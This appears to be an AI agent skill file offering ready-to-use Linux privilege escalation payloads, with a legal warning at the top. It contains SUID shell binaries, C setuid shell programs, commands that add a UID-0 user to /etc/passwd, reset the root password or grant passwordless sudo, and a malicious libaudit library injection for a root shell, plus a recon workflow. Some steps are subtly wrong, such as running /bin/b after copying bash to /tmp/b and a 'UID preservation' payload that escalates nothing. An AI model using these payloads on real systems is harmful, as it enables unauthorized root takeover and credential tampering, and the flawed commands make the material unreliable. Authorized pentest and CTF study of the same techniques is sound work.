Linux Privilege Escalation

Linux Privilege Escalation Payloads

⚠️ IMPORTANT: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized access is illegal.

This skill provides ready-to-use payloads and techniques for Linux privilege escalation in CTFs and authorized penetration testing scenarios.

Quick Reference

SUID Binary Technique

Create a SUID (Set User ID) binary that maintains elevated privileges when executed.

Bash SUID

# Copy bash to /tmp and set SUID bit
cp /bin/bash /tmp/b && chmod +s /tmp/b

# Execute to maintain root privileges
/bin/b -p

Works on: Debian, Ubuntu Requirements: Write access to /tmp, ability to chmod +s

C Payloads

Basic SUID Payload

// Compile: gcc payload.c -o payload
// Then: chmod +s payload

int main(void){
    setresuid(0, 0, 0); // Set as SUID user
    system("/bin/sh");
    return 0;
}

UID Preservation Payload

// Compile: gcc payload.c -o payload
// Then: chmod +s payload

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
    setuid(getuid());
    system("/bin/bash");
    return 0;
}

Targeted User ID Escalation

// Escalate to specific user ID (e.g., 1000)
// Compile: gcc payload.c -o payload
// Then: chmod +s payload

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    const int id = 1000;  // Change to target UID
    setresuid(id, id, id);
    execve(paramList[0], paramList, NULL);
    return 0;
}

File Overwriting Techniques

Common Target Files

Add User to /etc/passwd

# Add hacker user with root privileges (UID 0)
echo 'hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash' >> /etc/passwd

Change Root Password

echo "root:hacked" | chpasswd

Modify Sudoers (www-data to root)

# Create script to modify sudoers
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

# Execute when root runs it

Shared Library Overwrite

Step 1: Identify Target Library

# Check libraries used by a SUID binary
ldd /bin/su

Example output:

linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

Step 2: Find Required Symbols

# Check which symbols from the library are used by the binary
objdump -T /bin/su | grep audit

Example output:

0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
00000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd

Step 3: Create Malicious Library

// Compile: gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

// Declare required symbols (must match what the binary expects)
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

// Constructor runs when library is loaded
void inject()__attribute__((constructor));

void inject()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

Step 4: Execute

# After overwriting the library, run the target binary
/bin/su
# You should now get a root shell

Workflow Guide

1. Reconnaissance

# Check current user
whoami
id

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check sudo permissions
sudo -l

# Check for writable files
find /etc -writable 2>/dev/null

2. Choose Technique

• Can write to /tmp? → Use SUID Bash
• Can compile C code? → Use C payloads
• Can overwrite libraries? → Use library injection
• Can edit /etc/sudoers? → Modify sudoers
• Can edit /etc/passwd? → Add user

3. Execute and Verify

# After running payload, verify escalation
whoami
id

Troubleshooting

Notes

• Always test on your own systems or authorized targets
• Some techniques may be detected by security software
• Library overwrites can break system functionality
• Keep backups of modified files for cleanup
• Document your findings for reporting

References

• HackTricks Linux PrivEsc
• GTFOBins
• PayloadsAllTheThings